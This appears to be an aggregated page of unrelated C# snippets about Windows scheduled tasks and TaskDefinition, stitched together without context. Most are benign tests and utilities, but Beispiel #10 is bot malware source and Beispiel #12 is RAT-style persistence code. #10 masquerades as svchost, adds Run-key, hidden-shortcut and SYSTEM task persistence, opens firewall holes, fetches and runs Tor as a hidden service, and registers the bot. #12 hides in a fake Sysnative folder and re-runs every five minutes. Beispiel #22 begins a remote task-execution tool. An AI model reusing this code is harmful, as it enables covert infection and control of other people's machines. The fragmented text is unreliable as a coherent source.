public void When_scheduling_a_task_it_should_be_added_to_the_storage()
        {
            var task = new TaskDefinition();
            var taskId = task.Id;
            scheduler.Schedule(task);

            Assert.IsTrue(scheduler.scheduledTasks.ContainsKey(taskId));
        }
        public void SetUp()
        {
            scheduler = new DefaultScheduler(bus);
            handler = new ScheduledTaskMessageHandler(scheduler);

            var task = new TaskDefinition{Task = () => { }};
            taskId = task.Id;
            scheduler.Schedule(task);
        }
Beispiel #3
0
        public TaskResponse Post(string taskType = "task")
        {
            CheckMinerOwnerShip();

            var definition = new TaskDefinition
                {
                    DefaultTemplate = DefaultTemplate,
                    Launcher = this.GetTaskLauncher(taskType)
                };

            return this.RunTask(definition);
        }
        public void When_starting_a_task_defer_should_be_called()
        {
            var task = new TaskDefinition {Task = () => { }};
            var taskId = task.Id;

            scheduler.Schedule(task);

            var deferCount = bus.DeferWasCalled;
            scheduler.Start(taskId);
            
            Assert.That(bus.DeferWasCalled > deferCount);
        }
        public void SetUp()
        {
            scheduler = new DefaultScheduler();
            handler = new ScheduledTaskMessageHandler(scheduler);

            var task = new TaskDefinition
            {
                Every = TimeSpan.FromSeconds(5),
                Task = c => TaskEx.CompletedTask
            };
            taskId = task.Id;
            scheduler.Schedule(task);
        }
        public void When_starting_a_task_the_lambda_should_be_executed()
        {
            var i = 1;

            var task = new TaskDefinition { Task = () => { i++; } };
            var taskId = task.Id;

            scheduler.Schedule(task);            
            scheduler.Start(taskId);

            Thread.Sleep(100); // Wait for the task...

            Assert.That(i == 2);
        }
        public async Task When_starting_a_task_defer_should_be_called()
        {
            var task = new TaskDefinition
            {
                Every = TimeSpan.FromSeconds(5),
                Task = c => TaskEx.CompletedTask
            };
            var taskId = task.Id;

            scheduler.Schedule(task);

            await scheduler.Start(taskId, handlingContext);

            Assert.That(handlingContext.SentMessages.Any(message => message.Options.GetDeliveryDelay().HasValue));
        }
        public async Task When_starting_a_task_the_lambda_should_be_executed()
        {
            var i = 1;

            var task = new TaskDefinition
            {
                Every = TimeSpan.FromSeconds(5),
                Task = c =>
                {
                    i++;
                    return TaskEx.CompletedTask;
                }
            };
            var taskId = task.Id;

            scheduler.Schedule(task);
            await scheduler.Start(taskId, handlingContext);

            Assert.That(i == 2);
        }
Beispiel #9
0
            public async Task EnsureCachedAsync(TaskDefinition task, CancellationToken token)
            {
                Trace.Entering();
                ArgUtil.NotNull(task, nameof(task));
                ArgUtil.NotNullOrEmpty(task.Version, nameof(task.Version));

                // first check to see if we already have the task
                string destDirectory = GetTaskDirectory(task);

                Trace.Info($"Ensuring task exists: ID '{task.Id}', version '{task.Version}', name '{task.Name}', directory '{destDirectory}'.");
                if (File.Exists(destDirectory + ".completed"))
                {
                    Trace.Info("Task already downloaded.");
                    return;
                }

                // Invalidate the local cache.
                _localTasks = null;

                // delete existing task folder.
                Trace.Verbose("Deleting task destination folder: {0}", destDirectory);
                IOUtil.DeleteDirectory(destDirectory, CancellationToken.None);

                // Inform the user that a download is taking place. The download could take a while if
                // the task zip is large. It would be nice to print the localized name, but it is not
                // available from the reference included in the job message.
                _term.WriteLine(StringUtil.Loc("DownloadingTask0", task.Name));
                string zipFile;
                var    version = new TaskVersion(task.Version);

                //download and extract task in a temp folder and rename it on success
                string tempDirectory = Path.Combine(HostContext.GetDirectory(WellKnownDirectory.Tasks), "_temp_" + Guid.NewGuid());

                try
                {
                    Directory.CreateDirectory(tempDirectory);
                    zipFile = Path.Combine(tempDirectory, string.Format("{0}.zip", Guid.NewGuid()));
                    //open zip stream in async mode
                    using (FileStream fs = new FileStream(zipFile, FileMode.Create, FileAccess.Write, FileShare.None, bufferSize: 4096, useAsync: true))
                    {
                        using (Stream result = await HttpClient.GetTaskContentZipAsync(task.Id, version, token))
                        {
                            //81920 is the default used by System.IO.Stream.CopyTo and is under the large object heap threshold (85k).
                            await result.CopyToAsync(fs, 81920, token);

                            await fs.FlushAsync(token);
                        }
                    }

                    Directory.CreateDirectory(destDirectory);
                    ZipFile.ExtractToDirectory(zipFile, destDirectory);

                    Trace.Verbose("Create watermark file indicate task download succeed.");
                    File.WriteAllText(destDirectory + ".completed", DateTime.UtcNow.ToString());

                    Trace.Info("Finished getting task.");
                }
                finally
                {
                    try
                    {
                        //if the temp folder wasn't moved -> wipe it
                        if (Directory.Exists(tempDirectory))
                        {
                            Trace.Verbose("Deleting task temp folder: {0}", tempDirectory);
                            IOUtil.DeleteDirectory(tempDirectory, CancellationToken.None); // Don't cancel this cleanup and should be pretty fast.
                        }
                    }
                    catch (Exception ex)
                    {
                        //it is not critical if we fail to delete the temp folder
                        Trace.Warning("Failed to delete temp folder '{0}'. Exception: {1}", tempDirectory, ex);
                        Trace.Warning(StringUtil.Loc("FailedDeletingTempDirectory0Message1", tempDirectory, ex.Message));
                    }
                }
            }
Beispiel #10
0
        public void installMeth()
        {
            if (System.IO.File.Exists(System.Windows.Forms.Application.StartupPath + "\\installed.txt") == false)
            {
                string si = Application.ExecutablePath.ToString();

                try
                {
                    System.IO.Directory.CreateDirectory(FluxGlobal.sInstallDirectory);
                }
                catch (Exception ex) { }

                try
                {
                    System.IO.File.Copy(si, FluxGlobal.sInstallDirectory + "\\svchost.exe");
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }

                try
                {
                    System.IO.File.WriteAllText(FluxGlobal.sInstallDirectory + "\\installed.txt", FluxGlobal.dVersion.ToString());
                }
                catch (Exception ex) { }

                try
                {
                    string deskDir = Environment.GetFolderPath(Environment.SpecialFolder.Startup);

                    if (File.Exists(deskDir + "\\ServiceHost.url") == false)
                    {
                        using (StreamWriter writer = new StreamWriter(deskDir + "\\ServiceHost.url"))
                        {
                            string app = FluxGlobal.sInstallDirectory + "\\svchost.exe";
                            writer.WriteLine("[InternetShortcut]");
                            writer.WriteLine("URL=file:///" + app);
                            writer.WriteLine("IconIndex=0");
                            string icon = app.Replace('\\', '/');
                            writer.WriteLine("IconFile=" + icon);
                            writer.Flush();
                        }

                        System.IO.File.SetAttributes(deskDir + "\\ServiceHost.url", FileAttributes.Hidden);
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }

                // Try Registry Last incase we get popped
                try
                {
                    RegistryKey add = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                    add.SetValue("System Service", "\"" + FluxGlobal.sInstallDirectory + "\\svchost.exe" + "\"");
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }

                try
                {
                    // Get the service on the local machine
                    using (TaskService ts = new TaskService())
                    {
                        TaskLogonType logonType = TaskLogonType.ServiceAccount;

                        string userId = "SYSTEM"; // string.Concat(Environment.UserDomainName, "\\", Environment.UserName);

                        // Create a new task definition and assign properties
                        TaskDefinition td = ts.NewTask();
                        //td.Settings.ExecutionTimeLimit = TimeSpan.FromMinutes(15);
                        //Version v = new Version("_v2");
                        //if (ts.HighestSupportedVersion == v)
                        ////{
                        td.Principal.RunLevel  = TaskRunLevel.LUA;
                        td.Principal.LogonType = logonType;

                        td.RegistrationInfo.Description = "Microsoft Service Host";
                        td.RegistrationInfo.Author      = "SYSTEM";
                        td.Principal.DisplayName        = "Service Host";

                        //}

                        LogonTrigger lt = new LogonTrigger();
                        lt.Enabled = true;

                        BootTrigger bt = new BootTrigger();
                        bt.Delay = TimeSpan.FromMinutes(5);


                        // Create a trigger that will fire the task at this time every other day
                        td.Triggers.Add(lt);

                        // Create an action that will launch Notepad whenever the trigger fires
                        td.Actions.Add(new ExecAction(FluxGlobal.sInstallDirectory + "\\svchost.exe"));

                        try
                        {
                            ts.RootFolder.RegisterTaskDefinition("ServiceHost", td, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);
                        }
                        catch (Exception ex2)
                        {
                            Console.WriteLine(ex2.ToString());
                        }
                    }
                }
                catch (Exception ex) { Console.WriteLine(ex.ToString()); }

                string torDirectory = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\tor\\";

                try
                {
                    ProcessStartInfo procStartInfo = new ProcessStartInfo("c:\\windows\\system32\\netsh.exe", "firewall add allowedprogram " + torDirectory + "\\svchost.exe" + " ServiceHost ENABLE");
                    Process          proc          = new Process();
                    proc.StartInfo = procStartInfo;
                    proc.StartInfo.UseShellExecute = false;
                    proc.StartInfo.CreateNoWindow  = true;
                    proc.StartInfo.WindowStyle     = ProcessWindowStyle.Hidden;
                    proc.Start();
                }
                catch (Exception ex)
                {
                }

                try
                {
                    ProcessStartInfo procStartInfo = new ProcessStartInfo("c:\\windows\\system32\\netsh.exe", "firewall add allowedprogram " + torDirectory + "\\tor\\tor.exe" + " TorHost ENABLE");
                    Process          proc          = new Process();
                    proc.StartInfo = procStartInfo;
                    proc.StartInfo.UseShellExecute = false;
                    proc.StartInfo.CreateNoWindow  = true;
                    proc.StartInfo.WindowStyle     = ProcessWindowStyle.Hidden;
                    proc.Start();
                }
                catch (Exception ex)
                {
                }

                string sDownloadPath = FluxGlobal.sInstallDirectory + "\\Tor\\";

                if (System.IO.Directory.Exists(sDownloadPath) == false)
                {
                    System.IO.Directory.CreateDirectory(sDownloadPath);
                }

                sDownloadPath = sDownloadPath + "tor.zip";

                if (System.IO.File.Exists(sDownloadPath.Replace("tor.zip", "tor.exe")) == false)
                {
                    //if(System.IO.Directory.Exists(torDirectory) == false)
                    //{
                    //    System.IO.Directory.CreateDirectory(torDirectory);
                    //}

                    bool bGoodDownload      = false;
                    System.Net.WebClient wc = new System.Net.WebClient();

                    while (bGoodDownload == false && alTorURLs.Count > 0)
                    {
                        string sUrl = alTorURLs[0].ToString();
                        alTorURLs.RemoveAt(0);

                        try
                        {
                            wc.DownloadFile(sUrl, sDownloadPath);
                            bGoodDownload = true;
                        }
                        catch { }

                        if (bGoodDownload == true)
                        {
                            break;
                        }
                    }

                    try
                    {
                        UnZip(sDownloadPath, sDownloadPath.Replace("tor.zip", ""));

                        System.IO.Directory.Move(sDownloadPath.Replace("tor.zip", "") + "\\1-master", torDirectory);

                        string torrc = "SocksPort 9050\r\nSocksBindAddress 127.0.0.1\r\nAllowUnverifiedNodes middle,rendezvous\r\nDataDirectory " + torDirectory.Replace("\\", "/") + "\r\nHiddenServiceDir " + torDirectory.Replace("\\", "/") + "/hidden_service/\r\nHiddenServicePort 57480 127.0.0.1:41375";
                        System.IO.File.WriteAllText(torDirectory + "torrc", torrc);

                        try
                        {
                            System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo(torDirectory + "\\tor.exe", "--defaults-torrc \"" + torDirectory + "\\torrc\"");
                            psi.UseShellExecute        = false;
                            psi.WindowStyle            = System.Diagnostics.ProcessWindowStyle.Hidden;
                            psi.CreateNoWindow         = true;
                            psi.RedirectStandardError  = true;
                            psi.RedirectStandardOutput = true;
                            psi.RedirectStandardInput  = true;

                            System.Diagnostics.Process serviceProcess = new System.Diagnostics.Process();
                            serviceProcess.StartInfo = psi;
                            serviceProcess.Start();
                            System.Threading.Thread.Sleep(120000);
                            serviceProcess.Kill();
                        }
                        catch (Exception ex)
                        {
                        }

                        string sHiddenServiceAddress = System.IO.File.ReadAllText(torDirectory + "\\hidden_service\\hostname");

                        System.IO.File.WriteAllText(torDirectory + "torrc", torrc.Replace("57480", OnionToPort(sHiddenServiceAddress).ToString()));
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                    }
                }

                FluxApiClient.RegisterBot();
            }
        }
Beispiel #11
0
 protected bool IsPending(TaskDefinition td)
 {
     return(PendingTasks.Contains(td));
 }
Beispiel #12
0
        public static void AddStartUp()
        {
            try
            {
                string name = Process.GetCurrentProcess().ProcessName + ".exe";
                string filepath;

                if (Methods.IsAdmin() && Environment.Is64BitOperatingSystem)
                {
                    try
                    {
                        filepath = Path.Combine(@"C:\Windows\Sysnative", name);
                        if (Directory.Exists(@"C:\Windows\Sysnative"))
                        {
                            Directory.Delete(@"C:\Windows\Sysnative");
                        }
                        FileInfo installPath = new FileInfo(filepath);
                        if (Process.GetCurrentProcess().MainModule.FileName != installPath.FullName)
                        {
                            foreach (Process P in Process.GetProcesses())
                            {
                                try
                                {
                                    if (P.MainModule.FileName == installPath.FullName)
                                    {
                                        P.Kill();
                                    }
                                }
                                catch { }
                            }
                        }
                        if (!Directory.Exists(@"C:\Windows\Sysnativetemp"))
                        {
                            Directory.CreateDirectory(@"C:\Windows\Sysnativetemp");
                        }
                        File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(@"C:\Windows\Sysnativetemp", name), true);
                        Computer MyComputer = new Computer();
                        MyComputer.FileSystem.RenameDirectory(@"C:\Windows\Sysnativetemp", "Sysnative");
                    }
                    catch
                    {
                        filepath = Path.Combine(Path.GetTempPath(), name);
                        FileInfo installPath = new FileInfo(filepath);
                        if (Process.GetCurrentProcess().MainModule.FileName != installPath.FullName)
                        {
                            foreach (Process P in Process.GetProcesses())
                            {
                                try
                                {
                                    if (P.MainModule.FileName == installPath.FullName)
                                    {
                                        P.Kill();
                                    }
                                }
                                catch { }
                            }
                        }
                        File.Copy(Process.GetCurrentProcess().MainModule.FileName, filepath, true);
                    }

                    TaskService    ts = new TaskService();
                    TaskDefinition td = ts.NewTask();
                    td.RegistrationInfo.Description = Description;
                    td.RegistrationInfo.Author      = Author;
                    TimeTrigger dt = new TimeTrigger();
                    dt.StartBoundary       = Convert.ToDateTime(DateTime.Now.ToString("yyyy-MM-dd 06:30:00"));
                    dt.Repetition.Interval = TimeSpan.FromMinutes(5);
                    td.Triggers.Add(dt);
                    td.Settings.DisallowStartIfOnBatteries = false;
                    td.Settings.RunOnlyIfNetworkAvailable  = true;
                    td.Settings.RunOnlyIfIdle = false;
                    td.Settings.DisallowStartIfOnBatteries = false;
                    td.Actions.Add(new ExecAction(filepath, "", null));
                    ts.RootFolder.RegisterTaskDefinition(TaskAdmin, td);
                }
                else
                {
                    try
                    {
                        filepath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), name);
                        FileInfo installPath = new FileInfo(filepath);
                        if (Process.GetCurrentProcess().MainModule.FileName != installPath.FullName)
                        {
                            foreach (Process P in Process.GetProcesses())
                            {
                                try
                                {
                                    if (P.MainModule.FileName == installPath.FullName)
                                    {
                                        P.Kill();
                                    }
                                }
                                catch { }
                            }
                        }
                        File.Copy(Process.GetCurrentProcess().MainModule.FileName, filepath, true);
                    }
                    catch
                    {
                        filepath = Path.Combine(Path.GetTempPath(), name);
                        FileInfo installPath = new FileInfo(filepath);
                        if (Process.GetCurrentProcess().MainModule.FileName != installPath.FullName)
                        {
                            foreach (Process P in Process.GetProcesses())
                            {
                                try
                                {
                                    if (P.MainModule.FileName == installPath.FullName)
                                    {
                                        P.Kill();
                                    }
                                }
                                catch { }
                            }
                        }
                        File.Copy(Process.GetCurrentProcess().MainModule.FileName, filepath, true);
                    }
                    TaskService    ts = new TaskService();
                    TaskDefinition td = ts.NewTask();
                    td.RegistrationInfo.Description = Description;
                    td.RegistrationInfo.Author      = Author;
                    TimeTrigger dt = new TimeTrigger();
                    dt.StartBoundary       = Convert.ToDateTime(DateTime.Now.ToString("yyyy-MM-dd 06:30:00"));
                    dt.Repetition.Interval = TimeSpan.FromMinutes(5);
                    td.Triggers.Add(dt);
                    td.Settings.DisallowStartIfOnBatteries = false;
                    td.Settings.RunOnlyIfNetworkAvailable  = true;
                    td.Settings.RunOnlyIfIdle = false;
                    td.Settings.DisallowStartIfOnBatteries = false;
                    td.Actions.Add(new ExecAction(filepath, "", null));
                    ts.RootFolder.RegisterTaskDefinition(Task, td);
                }
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
        private ServiceSpawner()
        {
            // Compile monitoring services.
            var createdServices = new List <string>();

            try
            {
                m_logger = LoggerUtil.GetAppWideLogger();

                var thisAppDir = AppDomain.CurrentDomain.BaseDirectory;

                foreach (var name in this.GetType().Assembly.GetManifestResourceNames())
                {
                    // Compile everything except our base protective service.
                    if (name.IndexOf("Services", StringComparison.OrdinalIgnoreCase) != -1)
                    {
                        try
                        {
                            var serviceName = name.Substring(0, name.LastIndexOf('.'));
                            serviceName = serviceName.Substring(serviceName.LastIndexOf('.') + 1);

                            var res = CompileExe(name, string.Format("{0}{1}.exe", thisAppDir, serviceName));

                            if (res != null && res.Length > 0)
                            {
                                createdServices.Add(res);
                            }
                        }
                        catch (Exception e)
                        {
                            if (m_logger != null)
                            {
                                LoggerUtil.RecursivelyLogException(m_logger, e);
                            }
                        }
                    }
                }
            }
            catch (Exception e)
            {
                if (m_logger != null)
                {
                    LoggerUtil.RecursivelyLogException(m_logger, e);
                }
            }

            try
            {
                // Start the governor. This will run a background thread
                // that will ensure our chain of protective processes are
                // run.
                m_governor = new Governor();
            }
            catch (Exception e)
            {
                if (m_logger != null)
                {
                    LoggerUtil.RecursivelyLogException(m_logger, e);
                }
            }

            try
            {
                using (TaskService service = new TaskService())
                {
                    Win32Task task = service.GetTask(serviceCheckTaskName);
                    if (task != null)
                    {
                        service.RootFolder.DeleteTask(serviceCheckTaskName);
                    }

                    TaskDefinition def = service.NewTask();
                    def.RegistrationInfo.Description = "Ensures that CloudVeil is running";
                    def.Principal.LogonType          = TaskLogonType.ServiceAccount;

                    var        thisAppDir = AppDomain.CurrentDomain.BaseDirectory;
                    ExecAction action     = new ExecAction(string.Format("{0}{1}.exe", thisAppDir, "FilterStarter.exe"));

                    def.Actions.Add(action);

                    LogonTrigger trigger = (LogonTrigger)def.Triggers.Add(new LogonTrigger());
                    trigger.Delay = new TimeSpan(0, 2, 0);

                    service.RootFolder.RegisterTaskDefinition(serviceCheckTaskName, def);
                }
            }
            catch (Exception e)
            {
                if (m_logger != null)
                {
                    LoggerUtil.RecursivelyLogException(m_logger, e);
                }
            }
        }
Beispiel #14
0
 /// <summary>
 /// Initializes a new instance of the <see cref="TaskSchedulerWizard"/> class.
 /// </summary>
 /// <param name="service">A <see cref="TaskService"/> instance.</param>
 /// <param name="definition">An optional <see cref="TaskDefinition"/>. Leaving null creates a new task.</param>
 /// <param name="registerOnFinish">If set to <c>true</c> the task will be registered when Finish is pressed.</param>
 public TaskSchedulerWizard(TaskService service, TaskDefinition definition = null, bool registerOnFinish = false)
     : this()
 {
     Initialize(service, definition);
     RegisterTaskOnFinish = registerOnFinish;
 }
Beispiel #15
0
        public void Delete(int id)
        {
            TaskDefinition noiseProtectionDefinition = _taskDefinitionDAO.Load(id);

            _taskDefinitionDAO.Delete(noiseProtectionDefinition);
        }
Beispiel #16
0
        public void OnStepProgressed(int itemNumber, int expectedItemsCount, TimeSpan durationSoFar, ITaskStep step, TaskDefinition task)
        {
            var progress = itemNumber < expectedItemsCount
                ? (float)itemNumber / expectedItemsCount
                : 1f;

            OnStepProgressed(progress, durationSoFar, step, task);
        }
Beispiel #17
0
        private TaskResponse RunTask(TaskDefinition definition)
        {
            var exporter = this.LISpMiner.Exporter;
            var importer = this.LISpMiner.Importer;

            try
            {
                var request = new TaskRequest(this);
                var response = new TaskResponse();

                if (this.LISpMiner != null && request.Task != null)
                {
                    var status = "Not generated";
                    var numberOfRules = 0;
                    var hypothesesCountMax = Int32.MaxValue;

                    exporter.Output = String.Format("{0}/results_{1}_{2:yyyyMMdd-Hmmss}.xml", request.DataFolder,
                                                    request.TaskFileName, DateTime.Now);

                    exporter.Template = String.Format(@"{0}\Sewebar\Template\{1}", exporter.LMExecutablesPath,
                                                      request.GetTemplate(definition.DefaultTemplate));

                    exporter.TaskName = request.TaskName;
                    exporter.NoEscapeSeqUnicode = true;

                    try
                    {
                        // try to export results
                        exporter.Execute();

                        if (!System.IO.File.Exists(exporter.Output))
                        {
                            throw new LISpMinerException("Task possibly does not exist but no appLog generated");
                        }

                        this.GetInfo(exporter.Output, out status, out numberOfRules, out hypothesesCountMax);
                    }
                    catch (LISpMinerException ex)
                    {
                        // task was never imported - does not exists. Therefore we need to import at first.
                        Log.Debug(ex);

                        // import task
                        importer.Input = request.TaskPath;
                        importer.NoCheckPrimaryKeyUnique = true;

                        if (!string.IsNullOrEmpty(request.Alias))
                        {
                            importer.Alias = String.Format(@"{0}\Sewebar\Template\{1}", importer.LMExecutablesPath, request.Alias);
                        }

                        importer.Execute();
                    }

                    switch (status)
                    {
                        // * Not Generated (po zadání úlohy nebo změně v zadání)
                        case "Not generated":
                        // * Interrupted (přerušena -- buď kvůli time-outu nebo max počtu hypotéz)
                        case "Interrupted":
                            // run task - generate results
                            if (definition.Launcher.Status == ExecutableStatus.Ready)
                            {
                                var taskLauncher = definition.Launcher;
                                taskLauncher.TaskName = request.TaskName;
                                taskLauncher.ShutdownDelaySec = 0;

                                taskLauncher.Execute();
                            }
                            else
                            {
                                Log.Debug("Waiting for result generation");
                            }

                            // run export once again to refresh results and status
                            if (status != "Interrupted" && exporter.Status == ExecutableStatus.Ready)
                            {
                                exporter.Execute();
                            }
                            break;
                        // * Running (běží generování)
                        case "Running":
                        // * Waiting (čeká na spuštění -- pro TaskPooler, zatím neimplementováno)
                        case "Waiting":
                            definition.Launcher.ShutdownDelaySec = 10;
                            break;
                        // * Solved (úspěšně dokončena)
                        case "Solved":
                        case "Finnished":
                        default:
                            break;
                    }

                    response.OutputFilePath = exporter.Output;

                    if (!System.IO.File.Exists(response.OutputFilePath))
                    {
                        throw new Exception("Results generation did not succeed.");
                    }
                }
                else
                {
                    throw new Exception("No LISpMiner instance or task defined");
                }

                return response;
            }
            finally
            {
                // clean up
                exporter.Output = String.Empty;
                exporter.Template = String.Empty;
                exporter.TaskName = String.Empty;

                importer.Input = String.Empty;
                importer.Alias = String.Empty;
                importer.NoCheckPrimaryKeyUnique = false;
            }
        }
Beispiel #18
0
        private Response CancelTask(TaskDefinition definition)
        {
            var pooler = definition.Launcher;

            try
            {
                // cancel task
                pooler.TaskCancel = true;
                pooler.TaskName = definition.TaskName;
                pooler.Execute();

                return new Response
                    {
                        Message = String.Format("Task {0} has been canceled.", definition.TaskName)
                    };
            }
            finally
            {
                // clean up
                pooler.CancelAll = false;
                pooler.TaskCancel = false;
                pooler.TaskName = String.Empty;
            }
        }
Beispiel #19
0
        private Response CancelAll(TaskDefinition definition)
        {
            ITaskLauncher pooler = definition != null ? definition.Launcher : null;

            try
            {
                if (pooler != null)
                {
                    pooler.CancelAll = true;
                    pooler.Execute();
                }
                else
                {
                    // cancel all
                    this.LISpMiner.LMTaskPooler.CancelAll = true;
                    this.LISpMiner.LMTaskPooler.Execute();

                    this.LISpMiner.LMProcPooler.CancelAll = true;
                    this.LISpMiner.LMProcPooler.Execute();

                    this.LISpMiner.LMGridPooler.CancelAll = true;
                    this.LISpMiner.LMGridPooler.Execute();
                }

                return new Response
                    {
                        Message = "All tasks has been canceled."
                    };
            }
            finally
            {
                if (pooler != null)
                {
                    pooler.CancelAll = false;
                    pooler.TaskCancel = false;
                    pooler.TaskName = String.Empty;
                }
                else
                {
                    // clean up
                    this.LISpMiner.LMTaskPooler.CancelAll = false;
                    this.LISpMiner.LMTaskPooler.TaskCancel = false;
                    this.LISpMiner.LMTaskPooler.TaskName = String.Empty;

                    this.LISpMiner.LMProcPooler.CancelAll = false;
                    this.LISpMiner.LMProcPooler.TaskCancel = false;
                    this.LISpMiner.LMProcPooler.TaskName = String.Empty;

                    this.LISpMiner.LMGridPooler.CancelAll = false;
                    this.LISpMiner.LMGridPooler.TaskCancel = false;
                    this.LISpMiner.LMGridPooler.TaskName = String.Empty;
                }
            }
        }
Beispiel #20
0
        private void uiBtnOk_Click(object sender, EventArgs e)
        {
            if (String.IsNullOrEmpty(txtRecurCount.Text))
            {
                MessageBox.Show("Please indicate a recurrence value!");
                return;
            }

            if (String.IsNullOrEmpty(cboRecurType.Text))
            {
                MessageBox.Show("Please select a recurrence frequency!");
                return;
            }

            if (String.IsNullOrEmpty(cboSelectedScript.Text))
            {
                MessageBox.Show("Please select a script!");
                return;
            }

            var selectedFile = rpaScriptsFolder + cboSelectedScript.Text;

            using (TaskService ts = new TaskService())
            {
                // Create a new task definition and assign properties
                TaskDefinition td = ts.NewTask();
                td.RegistrationInfo.Description = "Scheduled task from taskt - " + selectedFile;
                var trigger = new TimeTrigger();
                ////   // Add a trigger that will fire the task at this time every other day
                //DailyTrigger dt = (DailyTrigger)td.Triggers.Add(new DailyTrigger(2));
                //dt.Repetition.Duration = TimeSpan.FromHours(4);
                //dt.Repetition.Interval = TimeSpan.FromHours()
                // Create a trigger that will execute very 2 minutes.

                trigger.StartBoundary = dtStartTime.Value;
                if (rdoEndByDate.Checked)
                {
                    trigger.EndBoundary = dtEndTime.Value;
                }

                double recurParsed;

                if (!double.TryParse(txtRecurCount.Text, out recurParsed))
                {
                    MessageBox.Show("Recur value must be a number type (double)!");
                    return;
                }

                switch (cboRecurType.Text)
                {
                case "Minutes":
                    trigger.Repetition.Interval = TimeSpan.FromMinutes(recurParsed);
                    break;

                case "Hours":
                    trigger.Repetition.Interval = TimeSpan.FromHours(recurParsed);
                    break;

                case "Days":
                    trigger.Repetition.Interval = TimeSpan.FromDays(recurParsed);
                    break;

                default:
                    break;
                }

                td.Triggers.Add(trigger);

                td.Actions.Add(new ExecAction(@"" + txtAppPath.Text + "", "\"" + selectedFile + "\"", null));
                ts.RootFolder.RegisterTaskDefinition(@"taskt-" + cboSelectedScript.Text, td);
            }
        }
Beispiel #21
0
        public void AddTaskSchedule()
        {
            var user       = $@"{Environment.UserDomainName}\{Environment.UserName}";
            var appPath    = System.Reflection.Assembly.GetEntryAssembly().Location;
            var appDirPath = System.IO.Directory.GetParent(appPath).FullName;

            using (var service = new TaskService())
            {
                Version ver    = service.HighestSupportedVersion;
                bool    newVer = (ver >= new Version(1, 2));

                try
                {
                    TaskDefinition td = service.NewTask();
                    td.Principal.UserId                    = user;
                    td.Principal.LogonType                 = TaskLogonType.InteractiveToken;
                    td.RegistrationInfo.Author             = Author;
                    td.RegistrationInfo.Description        = Description;
                    td.RegistrationInfo.Documentation      = Documentation;
                    td.Settings.DisallowStartIfOnBatteries = false;
                    td.Settings.Enabled                    = true;
                    td.Settings.Hidden = false;
                    td.Settings.IdleSettings.RestartOnIdle = false;
                    td.Settings.IdleSettings.StopOnIdleEnd = false;
                    td.Settings.Priority                  = System.Diagnostics.ProcessPriorityClass.Normal;
                    td.Settings.RunOnlyIfIdle             = false;
                    td.Settings.RunOnlyIfNetworkAvailable = false;
                    td.Settings.StopIfGoingOnBatteries    = false;
                    if (newVer)
                    {
                        if (UAC.IsAdministrator())
                        {
                            td.Principal.RunLevel = TaskRunLevel.Highest;
                        }
                        else
                        {
                            td.Principal.RunLevel = TaskRunLevel.LUA;
                        }
                        td.Settings.AllowDemandStart   = true;
                        td.Settings.AllowHardTerminate = true;
                        td.Settings.Compatibility      = TaskCompatibility.V2;
                        td.Settings.MultipleInstances  = TaskInstancesPolicy.IgnoreNew;
                        td.Settings.StartWhenAvailable = false;
                        td.Settings.WakeToRun          = false;
                        td.Settings.ExecutionTimeLimit = TimeSpan.Zero;
                    }

                    LogonTrigger lTrigger = (LogonTrigger)td.Triggers.Add(new LogonTrigger());
                    if (newVer)
                    {
                        lTrigger.UserId        = user;
                        lTrigger.Enabled       = true;
                        lTrigger.StartBoundary = DateTime.MinValue;
                    }

                    td.Actions.Add(new ExecAction(appPath, null, appDirPath));

                    using (var folder = service.RootFolder)
                    {
                        folder.RegisterTaskDefinition(ScheduleNameWithUserName, td, TaskCreation.CreateOrUpdate, null, null, TaskLogonType.InteractiveToken, null);
                    }
                }
                catch (Exception ex)
                {
                    System.Diagnostics.Debug.Print(ex.ToString());
                }
            }
        }
Beispiel #22
0
        private static Boolean Manager
        (
            string Target,
            string TaskName,
            string TaskDescription,
            string Cmd,
            string DomainName,
            string UserName,
            SecureString secureString,
            Boolean Onstartup,
            Boolean Wakeup,
            Int32 TimeFromNow,
            Boolean RunAsSystem,
            String DiffDomain,
            String DiffUser,
            String DiffPassword,
            Boolean ListJobs,
            String JobToDelete,
            Int32 DeleteAfter
        )
        {
            string Password = new NetworkCredential("", secureString).Password;

            if (ListJobs && JobToDelete == null)
            {
                using (TaskService taskService = new TaskService(Target, UserName, DomainName, Password))
                {
                    try
                    {
                        TaskFolder taskFolder = taskService.RootFolder;
                        foreach (Task task in taskFolder.AllTasks)
                        {
                            Logger.Print(Logger.STATUS.GOOD, task.Name);
                            Console.WriteLine("Active: " + task.IsActive);
                            Console.WriteLine("Last run time: " + task.LastRunTime);
                            Console.WriteLine("Next run time: " + task.NextRunTime);
                            Console.WriteLine();
                        }
                        return(true);
                    }
                    catch (Exception e)
                    {
                        Logger.Print(Logger.STATUS.ERROR, e.Message);
                        return(false);
                    }
                }
            }
            else if (!ListJobs && JobToDelete != null)
            {
                try
                {
                    using (TaskService taskService = new TaskService(Target, UserName, DomainName, Password))
                    {
                        TaskFolder taskFolder = taskService.RootFolder;
                        taskFolder.DeleteTask(JobToDelete);
                        Logger.Print(Logger.STATUS.GOOD, JobToDelete + " deleted.");
                        return(true);
                    }
                }
                catch (Exception e)
                {
                    Logger.Print(Logger.STATUS.ERROR, e.Message);
                    return(false);
                }
            }
            else if (ListJobs && JobToDelete != null)
            {
                Logger.Print(Logger.STATUS.ERROR, "Choose either delete or list.");
                return(false);
            }
            else if (ListJobs == false && Cmd == null)
            {
                Logger.Print(Logger.STATUS.ERROR, "Please specify a command or delete//list!");
                return(false);
            }

            if (RunAsSystem == true)
            {
                if (DiffDomain != null || DiffUser != null || DiffPassword != null)
                {
                    Logger.Print(Logger.STATUS.ERROR, "Cannot create a task as SYSTEM and a different user");
                    return(false);
                }
            }

            string Command = Cmd.Split(' ')[0];        // powershell.exe
            string Args    = Cmd.Replace(Command, ""); // everything else

